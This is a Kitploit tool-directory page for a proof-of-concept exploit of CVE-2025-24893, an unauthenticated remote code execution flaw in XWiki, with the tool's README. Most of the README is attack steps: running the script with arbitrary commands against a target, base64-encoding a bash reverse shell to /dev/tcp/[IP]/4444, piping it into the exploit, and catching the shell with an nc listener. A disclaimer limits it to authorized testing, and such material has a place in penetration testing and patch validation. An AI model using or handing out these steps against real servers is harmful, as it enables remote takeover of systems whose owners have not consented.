Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24893-PoC — Proof-of-concept exploit for CVE-2025-24893 enabling unauthenticated remote code execution on XWiki with arbitrary shell commands and reverse shell injection via Python. | Kitploit
Tools/GitHubGitHub/dhiaznaidi/cve-2025-24893-poc
ExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHubdhiaznaidi/cve-2025-24893-poc

CVE-2025-24893-PoC

Proof-of-concept exploit for CVE-2025-24893 enabling unauthenticated remote code execution on XWiki with arbitrary shell commands and reverse shell injection via Python.

View Repository
21 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-24893 - XWiki Remote Code Execution (RCE)

An updated proof-of-concept (PoC) exploit for CVE-2025-24893, a critical unauthenticated RCE vulnerability in XWiki. This version improves on the original by allowing arbitrary shell command execution and clean reverse shell injection.

By: HexHunter404


⚠️ Warning

This code is provided for educational and authorized penetration testing purposes only.
Do not use it on systems you do not own or have explicit permission to test.


✨ Features

  • Supports command execution via bash -c '<command>'
  • Fully supports reverse shells (via base64 to bypass Groovy issues)
  • Improved handling of command output
  • Preserves /xwiki path and avoids redirect loops

🐍 Usage

root@kitploit:~
python3 CVE-2025-24893-PoC.py -u http://<target>/xwiki -c "<command>"

🐚 Getting a Reverse Shell

. Base64-encode your reverse shell

root@kitploit:~
echo "bash -i >& /dev/tcp/[IP]/4444 0>&1" | base64

. Send it using the PoC

root@kitploit:~
python3  CVE-2025-24893-PoC.py -u [URL] -c "echo [Base64 Payload] | base64 -d | bash"

. Set up your listener

root@kitploit:~
nc -lvnp 4444

If successful, you'll catch a shell

Download Tool